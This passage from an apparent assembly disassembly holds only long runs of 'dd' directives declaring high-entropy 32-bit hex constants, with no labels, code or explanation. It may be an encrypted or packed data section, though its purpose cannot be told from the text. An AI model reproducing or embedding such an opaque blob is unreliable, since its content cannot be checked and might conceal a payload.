6A715C2Dh, 0F531983Dh, 1D07CA53h, 803AA826h, 3474DDE2h dd 0E97B4A43h, 2CD3D5h, 1F3E2C80h, 2787C62Dh, 0B1767273h dd 4C798227h, 0A231FD06h, 0A43C4431h, 68135575h, 0F8A3F07h dd 29969659h, 0CA073283h, 0CE00EA56h, 0BE3E904Fh, 6FB01234h dd 14453C1h, 5178992Dh, 802092Fh, 0AEED5F5Eh, 0B49AA22Fh dd 19770A62h, 74597573h, 0AA253C74h, 0CADCA10h, 17B40C08h dd 0B231F55Bh, 0F69220E1h, 0C288125Ah, 21F8866h, 0B905865Ah dd 0B599EB4Bh, 0DA688FE5h, 8970617Eh, 78505C68h, 9988DF6Eh dd 37B2C02h, 21714DAAh, 930F0C05h, 13BEAFDBh, 882DA4DEh dd 95A32E0h, 0FAE453ADh, 78F30DC2h, 8326A9F1h, 2F689330h dd 0B6C548B8h, 0E95CCD22h, 83224FC0h, 2530567Ah, 9C80DDD8h dd 0CD274AACh, 25845260h, 2C0CEDE9h, 1D40E3CCh, 5EB31C1h dd 84F8D412h, 8247C51h, 4177D1A6h, 54176A9Ah, 0AC4A88B9h dd 370D0277h, 4089641Ch, 8268B3BEh, 87C5005Fh, 7D564FFEh dd 0BDC5EE57h, 2189E271h, 1693E51Eh, 0B740B0D3h, 0CE277277h dd 9D4BCE7Bh, 61994A90h, 203EDB97h, 796CC58Eh, 24A6BD11h dd 26B8BB37h, 8115B9D8h, 807A00F1h, 55D3A5Ch, 77B040Bh dd 0E8E2E95Fh, 64CB4E0Dh, 50185E10h, 594FCBFBh, 0ED5A2FA8h dd 5A60A39Dh, 833DB087h, 0EA1BD983h, 5F120B29h, 4FE5AC59h dd 7CFEA8A0h, 4B3BEAC1h, 0F938C928h, 208348ECh, 8F3BC69Ah dd 6DB85047h, 93627582h, 0D5869257h, 77407E8Eh, 0E0D16F46h dd 7BBB531Ch, 0E927ABC2h, 9D4E500Dh, 123FCB45h, 83F5F980h dd 0D8636640h, 0F19F5B7Dh, 3A003AD7h, 0C78931F2h, 3FF09561h dd 5381A573h, 96DC7ED8h, 59CC80AEh, 0E6D12190h, 16FCC6A3h dd 0BF0E37AFh, 0A589E1EAh, 0BB506660h, 14C227C8h, 0F014E14h dd 2168C8BFh, 0F0CA536Fh, 242DAD5Ah, 6887052Fh, 0FF25951Bh dd 39E94271h, 0BC5DF824h, 0DD9ADB4h, 93AEE941h, 0AAC5658Eh dd 0B63CD4BCh, 30C74E17h, 5E5A56EEh, 52D6F71Dh, 0F45B20A4h dd 0A218EFBCh, 0CDEF4FA1h, 17867D39h, 0D409FA89h, 0F484CC83h dd 3AF89E66h, 4A57AD50h, 9705A809h, 0DF39FBD1h, 0BE92082Ch dd 56E30E0Bh, 6C09D150h, 52B95B7Ah, 7DF908A5h, 17A95E17h dd 680A69D1h, 0C0AD0AA6h, 11800317h, 8E2A02B5h, 49030BF7h dd 20BA2391h, 7D2A0A40h, 5673CC2Fh, 0E94E4194h, 81016E3Dh dd 0CEF2840Fh, 0E9DD9C6Bh, 4B80A64Bh, 52A1005h, 0F8295380h dd 0E007142Dh, 4EA7AD10h, 0C10A8E8h, 0C7542402h, 7958AA12h dd 9E20901Ah, 7BB980B7h, 0F3292FDAh, 44AD31BBh, 5F6320DDh dd 0C0BFC0BDh, 0AC324FC8h, 0AA45173Dh, 5D3CCECh, 0A88AFEF5h dd 18819760h, 5C02C18Bh, 57E10E1h, 416426E4h, 0DEF02AE4h dd 74E8E043h, 9F7DA004h, 2FEB91B5h, 934D854h, 3CC1C081h dd 0CA206FE5h, 0D04718E4h, 73A90C0Eh, 29445F07h, 0E3F05AD3h dd 0B166160h, 470C6832h, 0EE936C59h, 0B73ED3A1h, 4B8094EEh dd 4A120922h, 0AEC47746h, 4E543C4Dh, 424F40CBh, 18E8C144h dd 0EA74C28Bh, 0C7256B28h, 7A8BC4C2h, 3FBA0409h, 0EACDAFF1h dd 8681207h, 0AC42599Ah, 96A40E6Ch, 0DF44FA5Eh, 4609E7FBh dd 0B0261B7Dh, 7B3AAFF6h, 9A0EB0A0h, 445A5F75h, 0CCE29034h dd 0E61F9C9Ah, 760B912Fh, 211D2FCBh, 80F1B353h, 0C43ED661h dd 851BB209h, 0FF04F588h, 0BB007FD5h, 49B815B4h, 2B179EB8h dd 0E101A43Dh, 0FADFE9EBh, 96D07589h, 0BB043B96h, 54C2146Ch dd 43FCD380h, 0E94D0B47h, 97C87DB2h, 40997C44h, 3A2C5493h dd 5BBF0957h, 26DC8442h, 0A3769C07h, 323E8099h, 19159675h dd 1E02E7C1h, 66B7016h, 3E132B90h, 6BBC33B3h, 0C105E21h dd 61129F13h, 2AF9FD90h, 660D1860h, 0B03D5A57h, 3EB05062h dd 0E9E0144Fh, 13725BE9h, 4C84A3EEh, 98CF853Eh, 77C491BCh dd 0A1BA0065h, 222C0Dh, 678EE281h, 47E934A6h, 422C07BFh dd 1ED45C65h, 0F42C64BAh, 0D141EF86h, 0F586DD20h, 30715902h dd 7A20CDA8h, 0FB013BD6h, 88DBC3B2h, 0BAFDD4EBh, 0F852779Ch dd 37685B6Eh, 0F925D88Bh, 0D99D4203h, 20EF641Ah, 81049CC6h dd 4E66FEF1h, 684B43BFh, 3D104B23h, 277ABD21h, 0F11832CAh dd 4A3B91B8h, 0D3BA02A1h, 0D50A4D2Eh, 76AC11E9h, 12EC5B90h dd 0AB74DA03h, 19B15862h, 61326E77h, 0DA8477D3h, 0DA28FB5Eh dd 68D9C35Ch, 9716142Bh, 0E1B9EAF9h, 8B29CDDEh, 26D6D8D3h dd 0CF6D4C28h, 5FB8E295h, 8727F5ECh, 0CFC1548Ah, 80C2DC4Ah dd 68D8015Bh, 53A43249h, 61EE5D30h, 28408DC6h, 2844E62h dd 43D20DAh, 0D1C0CF0Dh, 4771057Fh, 840C143Ah, 0FBE3CD9Fh dd 2189F9C0h, 0AD294C61h, 0BAF41327h, 8BAB1CC5h, 7EC4EA1h dd 4DAFBB1h, 0F7800BAAh, 11C15F7Ch, 905562E9h, 7CBB8FABh dd 0C8DBE925h, 9D59CF9Eh, 4D08CEF3h, 495F596Eh, 4882C24Ah dd 54025C11h, 0D8815559h, 2A3DCE6Dh, 65E96D80h, 0B920C085h dd 670B64BBh, 59CD2116h, 0BF57CE0h, 0C983920h, 0A58B942h dd 6DC2CC0Bh, 0FA8DC029h, 5F90CB16h, 8A6FC2DCh, 0C1AFE3D9h dd 6984E7C8h, 0C13842C7h, 400F52F3h, 604CF8FCh, 0EB1C3798h dd 155D6F5Ah, 0DDA6F381h, 5470ECF0h, 5B83F86Eh, 0C1F56Ah dd 397D6808h, 0D060E995h, 5B784A36h, 0A57BBC54h, 37BDC157h dd 0D0F089h, 4032B297h, 8BFCDCA7h, 65B95200h, 815E6E1Fh dd 1CE40EC9h, 0E1C023BEh, 47262FE2h, 0B2B0E91Bh, 684C0533h dd 0FFEE5EEAh, 5540F32Dh, 911A11Ah, 0E191E9A7h, 5A60A2FEh dd 9048E86Eh, 0D4B800D0h, 0E99993AAh, 49A8EE23h, 6697F0B5h dd 98CD9F30h, 130B65A4h, 8893F188h, 562783D0h, 0F44F16A4h dd 84B52894h, 5DD46AA2h, 0EB968FA9h, 0E2C22D49h, 832FF79Ah dd 0EC19C5Ch, 0E9822CD8h, 0C9A1BC7Dh, 0E5CDB551h, 0C5136EC0h dd 0C42E06CDh, 9273FD2Bh, 0E0B0CBC1h, 0B91CBE05h, 868ACA16h dd 0E3C2800Bh, 6F5C684h, 0F804DDF6h, 30871FC5h, 52E596ECh dd 912DEE90h, 19380FFDh, 2D95324h, 5AF78859h, 260B6DDCh dd 595A56D1h, 0E0E13BCEh, 0CA38603Fh, 0A2C72FCh, 31E784Ch dd 0E9A35441h, 532EC01Ah, 1C2FD89Eh, 3EF9634Bh, 2AA60BD2h dd 3F21A631h, 0F7E7F512h, 895EBE1Fh, 0C2D63AFCh, 55800B2Fh dd 0EB8101AEh, 38297C83h, 0E22B891Bh, 78347E74h, 0DF4BCDE9h dd 0E8681192h, 128DBDE7h, 11E2D1Fh, 0F003D02Eh, 0E562C645h dd 812937CAh, 2C273EFDh, 8D5909E9h, 4004DBF7h, 9899B7E6h dd 0A131402Eh, 0E9F30101h dd 353A9602h, 7F67E170h, 0BF8BE18Bh, 0F913D451h, 342B012Dh dd 0B090EA4Ch, 0B8F72A64h, 8E6007Ch, 22DFCE81h, 7B06958h dd 0C68B69CDh, 2DAE8BBDh, 7854A781h, 7B05D124h, 0B812F612h dd 9E1090ECh, 5B5114EFh, 606484C0h, 0AF045809h, 3AFEE8BDh dd 965ABFEBh, 2F341684h, 6F59A82h, 1114D457h, 2994A05h dd 0A1520DBh, 0C35DC129h, 0A7B00845h, 927C1FFDh, 50DEC130h dd 73E4DAE9h, 65F84A45h, 0F4D2ECA5h, 60AF9453h, 8C1D6018h dd 4DF01163h, 0D50A8A74h, 7AC069C2h, 5197EDA5h, 55BD82B3h dd 0FD827D31h, 49566CD4h, 9779F166h, 0C253CCCh, 0B0286C66h dd 8B4C20CDh, 9578F897h, 2A4A78DAh, 47B53E5h, 0EAD398C9h dd 0DC6B9D31h, 0C584EA69h, 26BE10D4h, 66097284h, 8FB0050h dd 5C5AF088h, 0FF10EAFEh, 426812B5h, 656BD521h, 27B0405h dd 15804F8h, 596173BEh, 23DA20DDh, 358AC4Ch, 22470537h dd 79811832h, 50E42C06h, 0E381174Bh, 2D3A0C55h, 1B1EDC0Ch dd 530943B1h, 13D511E2h, 5A0E49C4h, 7AD3A65Ah, 3B814D2Ch dd 2FE5430Dh, 3907BC00h, 0E62BE979h, 0C8F0CAFFh, 3F0BCEA6h dd 6D9A7D15h, 0B9847AF3h, 0AD2673Bh, 74666A65h, 0FEF556DAh dd 9D4D81FCh, 88F567Bh, 16BBE484h, 1557F18Bh, 0F7B6D2F0h dd 0BF4CAF05h, 0ABB11AEh, 6CCC544Eh, 7EC60097h, 0FB87719Bh dd 0B064769h, 8A45562Ah, 49C5D10Eh, 84F8295Dh, 801FA8E9h dd 44A105E8h, 502DE40Ch, 2DD76C5Dh, 30E5EB21h, 0C34AE905h dd 69A9CC24h, 0F031590Fh, 72A003CBh, 4A3347BAh, 0F2815500h dd 7A904163h, 0E87C49E9h, 5AD5090Fh, 0D139C0DDh, 0EA29B223h dd 0ABDDE919h, 973EF65Dh, 0F855B51Ah, 62FB45D9h, 0C801845Fh dd 0E9502CFFh, 0E882692Dh, 80D8E63Fh, 0B1B74468h, 123017D9h dd 2BFF9E95h, 17542DFAh, 826EC758h, 0E8B52275h, 0EF1BF49Bh dd 177B2866h, 7E66F101h, 0CB8921E6h, 40CD2020h, 380CB3BDh dd 0A066D820h, 29964BA6h, 0FA6AF097h, 4BD046BDh, 48E4B99Eh dd 43EA95Bh, 0AB5CF875h, 7888A03Dh, 68047EF0h, 66ED74A7h dd 255FE392h, 81557E05h, 0A21BF32Dh, 40E2D44Dh, 325D826h dd 4C070514h, 13780128h, 44E90A3Ch, 50420EF7h, 0E542D488h dd 3A615A58h, 286FFDC4h, 0CF794F3Dh, 0E911317Ah, 16163A1Bh dd 0D26977AAh, 0AFCA67C9h, 0EF37E055h, 6BAB2431h, 708310A0h dd 1780EA39h, 9D0F5976h, 5E74C496h, 0AE23C517h, 4DC2D434h dd 6194628Dh, 4769D3F5h, 14296272h, 5F0BC5C1h, 680A7A19h dd 0FD5E13A6h, 0F5972DAFh, 0F9F5A739h, 0F7666135h, 1868CCE1h dd 17201298h, 0EA8101B3h, 46862DEDh, 0B8C43F42h, 56F29340h dd 304F9A61h, 5D28D2F7h, 73609840h, 0C401291Ch, 4AD7E877h dd 0C4DB85Ah, 215F2A23h, 0B36313A0h, 0CDCB0F28h, 0FB26A1A4h dd 5F011588h, 12CBCFBh, 138BBD55h, 0B8B277E1h, 7AC05DAEh dd 0B583F7BAh, 44A585BDh, 0CB75F5Eh, 0C192BE49h, 0AAB35337h dd 307E7088h, 969F049h, 9A457F68h, 80E042C1h, 0C431A848h dd 0EF81053Dh, 80B125DBh, 0BC9F701h, 90F01332h, 9AE54CE6h dd 34F813C4h, 0CDC900F5h, 621D3CA3h, 2E28E4EDh, 944763Eh dd 8C7F9EEDh, 15189Bh, 293BA597h, 685D386Ah, 906B2724h dd 96905267h, 4B481C79h, 176E05Ah, 0C7F168BDh, 7BFAF6D4h dd 0E16D5264h, 66DBF607h, 9F507B7Ah, 89B58EFCh, 21D001DBh dd 0F6600DB9h, 0ECE6956Ch, 9954B125h, 286A51EBh, 6838556Eh dd 1083C926h, 5939CDF3h, 0D1204787h, 678F3F6Fh, 0C5AEA8B3h dd 594FE33h, 2FEE65C0h, 85E22637h, 0B85E17E6h, 55F491Ah dd 0FD96E923h, 0B401B2A9h, 0C9C48060h, 66E82028h, 4830C680h dd 0E91790F5h, 16F6FDCBh, 710506EBh, 6C40907Bh, 840FC909h dd 0CCC8BF50h, 69AA73AEh, 0F0953E4Ch, 74EA0104h, 0BCE97DD0h dd 0D74A2D91h, 4FFEB2B0h, 2784FCC2h, 3F0D1B9h, 27EF0F68h dd 40F641DAh, 34083503h, 0D948FB93h, 947B0A3Eh, 66C9AED7h dd 447D5FAh, 0DAE77427h, 5088FD7Eh, 24EE24E7h, 9A6C1B37h dd 93950A3Fh, 95E36B89h, 2F3B5B28h, 0EA0ADDBh, 720B7F34h dd 0A5CB093Eh, 28C760F7h, 9F0590D0h, 21060CDh, 2761B897h dd 0F4DF8BC0h, 4EF75A48h, 4DE92CFEh, 0F9309284h, 0B0351091h dd 50476860h, 439D2C48h, 80FF504h, 3F9275Eh, 70544BCFh dd 0D3293746h, 0D60BA2A9h, 0A296D994h, 1A141D8Bh, 0BA22C15Ch dd 5DEF0100h, 681758AEh, 0CE602C12h, 89A59C6h, 0DEA9E960h dd 0FD336809h, 2DD750AAh, 7CCB757Bh, 0FFBF60A4h, 6B507222h dd 12171BC2h, 54E92BDAh, 66C01E13h, 882C3E2Eh, 66256BDCh dd 5B45B767h, 8F1021A6h, 0E08AE14Bh, 4FCB8CEEh, 3B0160C6h dd 0BC104E2Bh, 7B7105D5h, 2A801F79h, 2AC0508h, 0E94AD5F9h dd 8A768DDFh, 18D9EF50h, 0C64D320h, 1A4E6774h, 5A681ABCh dd 5BDF8D08h, 13170612h, 11B06817h, 79FFB58Ch, 0C460FF0Dh dd 0DB102D42h, 6B0671D0h, 51A27EF8h, 0B80F4FD2h, 0D42DA222h dd 0AA855A32h, 5D9F648Ch, 1D548BDFh, 7509CBC0h, 12E627h dd 0E9535621h, 367363A3h, 3B7A5B5Dh, 0FA594A27h, 3BB34CAEh dd 96425A26h, 0E2E5B0D4h, 4722F260h, 169AE781h, 3165A24h dd 12200415h, 6A53A605h, 5FD40AC9h, 0D55F070Bh, 0F1A403A4h dd 48006B8Ch, 23EA3748h, 2B6F2D68h, 559BBDCh, 0EA09882Ah dd 54255F96h, 9791141Fh, 74DB883Fh, 85BF56F6h, 3929EB70h dd 0AC50987Fh, 9B8C514Fh, 3CEA17B1h, 6B23B1FAh, 0C7794829h dd 60F06808h, 7077E904h, 2BDD89AEh, 15D8EEF2h, 79B7555Bh dd 2845AF3h, 178CFFF8h, 0BC780174h, 58C22925h, 67B2C52h dd 3B546EFAh, 7C1506Ch, 0BEABC5Ah, 8C4018E9h, 303C21B2h dd 5BFADD7h, 9FF04A9Eh, 1A205832h, 2BEBBD00h, 0D531410Ch dd 0CFBA5A0Eh, 0E98481B6h, 0A92DFD1Bh, 706CEB10h, 1224D048h dd 5CD0CB43h, 76A249BBh, 75E60F15h, 0F816EA1Dh, 0E1F917BEh dd 5C008DE2h, 308FB551h, 0D8E059EBh, 0C328E898h, 525FF1C7h dd 815A43CAh, 3ADABCF4h, 589DBF3h, 0E5D20BDEh, 950A0815h dd 870EF625h, 0BC53179Bh, 5D8268EAh, 7A0C6D40h, 56653A1Eh dd 0EA4140C2h, 5530E02Bh, 4FAFB4D9h, 0C8C61605h, 0DC120546h dd 5EE4B5Bh, 0BAC1016Ah, 0C9A43961h, 0BD642C92h, 6812746Dh dd 0E235EEh, 4ED7BE10h, 943E83A0h, 0F58006EFh, 9039063Fh dd 22BC2DE9h, 5E5A64A8h, 8D959A88h, 6D2DBDAh, 0A98520BEh dd 2507320Ch, 7B64F181h, 15E93C71h, 0F65F8338h, 0F0FD5EF5h dd 6EEF7CA1h, 0E539E5F3h, 0E116A493h, 520702F7h, 8609355Eh dd 11AFF9CDh, 8C472633h, 0D05F08A0h, 3D685F03h, 0B2691019h dd 4C041BDh, 0F7AA0E3Fh, 0A794B7Eh, 26578D6h, 0B5635004h dd 0B167AA13h, 0DDFB7494h, 0F6B82AA1h, 6F406CA8h, 0C383125Fh dd 0A5ACBC02h, 2AF7D9EAh, 5F6495E4h, 0CE56ACC9h, 0E49270F0h dd 0DB9B5934h, 5313A92Ch, 0BF929FE2h, 8FFFED64h, 7DFE4076h dd 7782909Ch, 7D55D694h, 6350DF83h, 52F5A58h, 800DA623h dd 0F5270A0h, 0CD015A5Dh, 405BBBA6h, 531340B5h, 7E788B2Ah dd 838D305h, 28BF5E10h, 0BA3552EFh, 10EF21D2h, 902AF118h dd 25242DE9h, 0BB2D7546h, 1740C758h, 16CEEC64h, 0C5E36048h dd 17C45010h, 1EAB5966h, 67C589FDh, 0EF86E55h, 520EB050h dd 2BB93699h, 5325C0B7h, 0AE6690C0h, 4231372Dh, 9296DF18h dd 2E313990h, 3960C58Bh dd 7B401818h, 648BD09h, 0EAEEB10Eh, 2B6A8BB7h, 0B9817F1Dh dd 2C923AE9h, 7565D637h, 0B3CC1744h, 0F0F82804h, 0BC40015Eh dd 8EB3CC1h, 0A4834F13h, 9A953854h, 6559E3ECh, 8388BD94h dd 9F988012h, 0D2E4DAF6h, 0FE160EC0h, 0F6FA86CAh, 0C108DED7h dd 4B6801F2h, 5AA6234Ah, 0C5205BB8h, 0DAE5800Eh, 0BFC0EEFEh dd 2839D0EFh, 14EE7A0h, 85CB8107h, 0F937451Fh, 7067DA2h dd 231EBDC3h, 0B22E0CCDh, 71B71239h, 6803C890h, 0BD29FAE0h dd 3837B887h, 302D5F00h, 12F147Ah, 50551C05h, 0F2E8016Dh dd 1195078Fh, 46373300h, 1D685D28h, 0B614C9Dh, 0F4A31ABh dd 69981A81h, 3B592162h, 565A6E01h, 152EFBE9h, 7D161CB7h dd 6B0F8C58h, 0DFDF6E52h, 88B10917h, 0F485E7DBh, 2C41040h dd 9257CA68h, 747520CDh, 0E200AC5Ch, 9336F5EDh, 1CB2C7C5h dd 0CEA0E613h, 31C2BF33h, 2F07C7DFh, 43999534h, 2580DC08h dd 8B28A6F9h, 0AB3E1509h, 189D505Eh, 0A30D22E9h, 22594F5h dd 9417D23Ah, 0B7E5A786h, 5DC512Dh, 0AE14C268h, 0D1B0BA31h dd 0DDCF8801h, 30D9356Fh, 634FD980h, 248850A8h, 21693909h dd 852F7BEh, 0D615F16Bh, 0EE1DD882h, 1A597C09h, 0C67DC536h dd 55C82574h, 0E6EEDBFAh, 0B6F0A854h, 0F188E103h, 1DC9FE5Ah dd 297AB17Ch, 207E07B3h, 0C120CCD1h, 99E18016h, 30A7C304h dd 0B92EB281h, 0B44ABC62h, 0FD2B29F0h, 9268D5Fh, 0CE57538Ah dd 2D444382h, 5B885763h, 0D5622507h, 49E46575h, 50D81322h dd 0E734FD5Ah, 1C0D1E6h, 7C7D4488h, 0C1EC227Ch, 85A8C33Dh dd 0FB014290h, 326EEF01h, 0E33B037Bh, 21155075h, 447E0412h dd 0ED288FE8h, 0CEE93708h, 0B2F3B0E1h, 0D54F1201h, 3148E5E9h dd 0A2D34B79h, 0E955C162h, 9C7A906Ah, 98092DB8h, 5D1B0908h dd 0B0552589h, 80B1C65Dh, 2D17D268h, 81CC364Eh, 0D787244Fh dd 0E90E6CDBh, 1D12CF4Eh, 5BD8CEAEh, 0CB4B42E7h, 409F4935h dd 2D022991h, 0A3E97257h, 0B830A68h, 27ACA945h, 2504D624h dd 0EF297B6Dh, 40E330F4h, 0EE58C1F8h, 9EEB1A5Fh, 29F12F33h dd 492EC284h, 42CAF2C5h, 55C58AFh, 0AE9988BAh, 0C9D7E084h dd 0D9207641h, 4BAFF049h, 845027B2h, 2188AADDh, 0B8E14B0Ch dd 8AC9DFC2h, 4E5022B8h, 7C29D856h, 0C49C2A5Eh, 1202B723h dd 52006A5Bh, 0B788DDB2h, 0F69E29C5h, 282FDEE7h, 14092596h dd 0FB05420h, 5E59EDE9h, 7A8A92C3h, 0C655C858h, 0CB0D56FEh dd 0A805FD22h, 0E0C7FE02h, 4CB8B1BAh, 371A1128h, 35F939B6h dd 5FF6BA62h, 0B4782498h, 73228CA4h, 5771BF84h, 61F9DA4h dd 64C4A2E0h, 8602BF4Fh, 6801FCA4h, 687F52F6h, 0EBB6563Fh dd 73589239h, 0DC98E0Ch, 87CA5BE9h, 4A8A5F5Eh, 5EF0BEC4h dd 10FCCBE7h, 433B7756h, 34E86D16h, 0AE68EB3Ah, 134E4EE9h dd 0BA0AEADDh, 818FE279h, 0C432EE3h, 13BEAE20h, 0B8AF6C0Bh dd 2AAD5B37h, 0E90BE0D4h, 0D372791Eh, 3A85615Ah, 94A25FFCh dd 2FB1155h, 34FEF919h, 7FBE6844h, 16D4E62h, 0F8D830ACh dd 0C8B173EDh, 0D2E4E986h, 0EAD12D20h, 0EA9F3570h, 60196091h dd 0AD094A5Bh, 93921C3Ah, 1601BC13h, 38032CBDh, 68A81882h dd 1C613339h, 13200376h, 18DFF634h, 3E2DABFFh, 543B5617h dd 8508DB1h, 0C1743FE9h, 4022F2D5h, 0D36D6044h, 864A65FAh dd 0F5F7198Ch, 77977D20h, 0EFC3DE29h, 498F76C0h, 0AA625582h dd 2D29E155h, 0E835320h, 49162F3Fh, 1408E1C6h, 0F5B009ECh dd 106E8948h, 0C03DD044h, 0CEDE0527h, 0E6C78C9h, 0EF885301h dd 0E75BF847h, 0E6C50759h, 1A209058h, 6051A250h, 0C488B96Bh dd 0E86E09ACh, 55EA97C5h, 0EDE52928h, 8DE62478h, 4103C340h dd 0F71318A2h, 3ECCDCD3h, 0D4EC3D25h, 0E2DA9355h, 121925Eh dd 0CD2825E9h, 4E7D3A46h, 0F133D22Ch, 6288DD54h, 1E72C63h dd 2954F275h, 14B631F0h, 0BF3C108h, 0FAB26E97h, 0AC299F72h dd 82F24484h, 0B905DEBEh, 0CABFD6FEh, 4103002h, 42CB290Dh dd 7A080CFAh, 5DB440ABh, 0EA53587Eh, 8DB34E65h, 0FF3DC44Ah dd 4CE97CD0h, 7E4E9D4Eh, 4B71EE95h, 8B4D2558h, 575E17D3h dd 0BC1B74AEh, 8CBBA43Eh, 0AE64E9A9h, 0E1AE2DB1h, 0C8F5D6EEh dd 58525977h, 2CC4A7BAh, 53011F91h, 1388BB66h, 7BEB8940h dd 0F17AF377h, 8F43F54Ah, 6AD38705h, 9E200542h, 0DBF81E3Fh dd 1C6139B7h, 872871CEh, 0DF99F60Ah, 88937EABh, 0B624CCD1h dd 51D5700Bh, 0BF284242h, 0CC7C8009h, 0B5311E7Fh, 7A5688E9h dd 0A92B1999h, 0CBBBA19Eh, 5F32F77Eh, 0E9F1F50Fh, 2142215Fh dd 13E01C4Fh, 40A8B4CEh, 37314968h, 0D3BC484Bh, 5C7FDAE0h dd 17050800h, 172CF75h, 72D51D0h, 42B1E07Bh, 6C9DA5BAh dd 0F5FABDA2h, 0D37D5848h, 0DB2808BEh, 12D08F14h, 1BA24771h dd 9901F951h, 5D02742Fh, 0B646B277h, 38C595DFh, 0C6258E20h dd 0C898518Ah, 0BD22A71Dh, 0C655872Ah, 0B1C34B79h, 5E8C0BC9h dd 2060E3CDh, 21AB4E0Bh, 9D5954D3h, 95601FE8h, 9B5A2198h dd 80CF4082h, 62874CCFh, 8B13F41Fh, 0FA5B7C17h, 39291F0Ch dd 0B8FB5EA5h, 16EBE59Dh, 0C9257172h, 413102CDh, 42021A7h dd 8CAA4AA1h, 0FC602FCFh, 4EBBC2DFh, 0F78F95BFh, 3FA47061h dd 418D2CE9h, 3A7440C2h, 6248E26Ch, 6D2D76CEh, 44256EFh dd 0AEC0835Eh, 6DD8A0A2h, 79E86853h, 45625B9Fh, 8986FD5Bh dd 630C04F3h, 1CCB680Eh, 536F1955h, 756D23Fh, 3C067506h dd 3DFED0E8h, 0C79FE7B7h, 0DFF78EDEh, 0BA5BF905h, 0F0288A20h dd 63A65E04h, 21D6E969h, 1C02D0F7h, 2927620Fh, 8A81CC3h dd 3CF3B190h, 5651C05Ah, 2430BF68h, 8FC190Ah, 0F82F8B3Bh dd 22EB6EEh, 0EF36E6D0h, 0E52FCDDCh, 4A3E28F9h, 5B71E34Fh dd 419C91E0h, 45DED489h, 0FBBF279Ah, 528E6944h, 21FA4A02h dd 69C6AA81h, 0E946C80Ch, 125D2625h, 9B1D68CFh, 5BEF7ECFh dd 2D970793h, 4031233Ah, 2A4A22D1h, 7F510472h, 0F89F9282h dd 0C9F60709h, 31771700h, 665873C5h, 6D7FBAEBh, 530005ECh dd 0E241E4BBh, 5F38163h, 18555203h, 4CAC509h, 135110F8h dd 0ED3800BEh, 28689C43h, 95D570BDh, 9524492Fh, 5864FE6Ch dd 5C975FCh, 836B685Fh, 0C1BFC075h, 0F0C3BDEh, 913AE1ECh dd 8922E46Eh, 0B94139F8h, 9604F66Eh, 5A1C22AAh, 5C91A95Dh dd 1A69A57Eh, 10913D5Fh, 0BD5FD2F6h, 91454E92h, 5CF766Ah dd 0E9A39D17h, 2CBDE89h, 0DD0D487Dh, 5C50033Ch, 4941D1F7h dd 5DA1D207h, 0D48C98F1h, 13571894h, 2FF61A72h, 24E243Eh dd 0D06BCEF1h, 0F040F74Fh, 0F780E20Eh, 0BD8996D6h, 0FEE291ADh dd 86766F62h, 31343204h, 6A3D9A82h, 0D93457C3h, 70567B20h dd 2A5BBD68h, 4EC2C08h, 8557D301h, 0F1D4AF01h, 29EC05FBh dd 0B9C0FFBh, 0F8565A64h, 5FE4B08Bh, 12094A31h, 0DE18AA1Eh dd 1E1E9AD8h, 4A503F0Dh, 8952D3A9h, 0CED45358h, 0E40BF7D2h dd 0A188B4FDh, 982DA55Ch, 61C8E94Eh, 20577C29h, 9F5AB760h dd 9AFAD016h, 39003B2h, 0BFE33320h, 72A702CFh, 0EA855DB4h dd 10E4B65Bh, 0B400B02Dh, 0BEB35347h, 0CDA0DC20h, 189BC24Ah dd 0D606953Ch, 4CCE19C5h, 0CF751C93h, 0C25AB32Eh, 0A74497E9h dd 0BF72FAFFh, 0A8707645h, 5A577AC5h, 5B24F449h, 2F915851h dd 0CABB5784h, 0B7F85F1Dh, 8D438785h, 5B122E36h, 0DF1061E6h dd 0D95C2564h, 76E2AF79h, 0D2503BE6h, 4F8B5D2Ah, 3E90FDCCh dd 0E08C255Fh, 1CC3FE5Dh dd 0CC3CF380h, 0E311B5EBh, 28BE9B40h, 2D9DD828h, 48F1A3DFh dd 0F794064Bh, 1367EC61h, 16CF569h, 38080B6Fh, 5D0FC41h dd 2D8013B6h, 0A0BE83BBh, 24729829h, 9C77CF7Fh, 63297C2h dd 53AABF0Bh, 2F45C705h, 187175Ch, 813EF85h, 0CB9264D1h dd 7AF0987Fh, 0D7486F58h, 714A18F6h, 542CFC0h, 397BC8EFh dd 5DF5C814h, 849B12E1h, 126285A2h, 5300DB02h, 168B6852h dd 0A81C5E70h, 7CFA0519h, 0CC007235h, 4E7558Fh, 82558229h dd 0C55B4D69h, 0D827BE0Bh, 0C6B98940h, 770B301Eh, 14C7FA8Ch dd 59620CBFh, 609C3D28h, 0A900DD6h, 0FF2A3482h, 5F070B14h dd 900BA0DEh, 94FFC49Ah, 3B350BCAh, 502F5182h, 0B75BB200h dd 51589D8Ah, 0DCEF803Dh, 0E9550BAFh, 0F705621Eh, 96D298E3h dd 967DE66Ah, 0B88795B2h, 3DCE01ADh, 0D3B42B2Dh, 0C41830E9h dd 42FEF7F7h, 2F71962Eh, 86414C28h, 0C0784641h, 122EE15h dd 260D5142h, 296205C9h, 0ACC304D0h, 3E2C1D7Bh, 1288CC5Ah dd 0FB5EF729h, 424B472Ah, 6681E982h, 44D4274Bh, 68016917h dd 0DE77649Fh, 94A06251h, 0BD80A97Dh, 25E80C0Bh, 89DE29C9h dd 0BC95CE4Ah, 0CC678AEEh, 55E903FFh, 0E0FBB6ADh, 0BD5B252h dd 0E2C0DAF6h, 2BF2DC82h, 8E3A5B76h, 1D10461h, 0B7E4E9D0h dd 65CDB550h, 2FBB304Ah, 44301F72h, 58645061h, 0B9551C04h dd 0DF360EF1h, 257CB992h, 0BF67002Bh, 2C0B7ED0h, 0ACE63136h dd 0AD5F1750h, 6E688435h, 0D3157EF3h, 1A12E80Ch, 0F075D041h dd 255CA265h, 54DF5295h, 27CC07C8h, 79A285Eh, 29572024h dd 77E7E2D3h, 0D6A62A75h, 28BD053Ah, 6D804267h, 277B7D9h dd 0E9CE31AAh, 0B1DCCA46h, 283C0C2h, 2575EE81h, 449C5A36h dd 0F69A4B79h, 1D7A1197h, 4953CB75h, 3B7F24A0h, 0E9B80DE6h dd 2F01C240h, 167605F0h, 22A97BAFh, 0F1F62790h, 0D4A567D4h dd 616C522Fh, 266D799Fh, 17D92730h, 17989415h, 0E0005758h dd 16A5216Dh, 1F4C01BFh, 0A1E9419Eh, 10090569h, 45558FE3h dd 0E349FE08h, 440BFF56h, 820C9257h, 404BEFh, 7AB6CE81h dd 8E2E9C28h, 0F4615F09h, 46C56DEh, 0BE51CA87h, 1C0EAF5Bh dd 17B5E3C0h, 84E68DB8h, 0FD3AE9F9h, 72E0A1CDh, 0F96B977Fh dd 54803C1Dh, 1ED6054Eh, 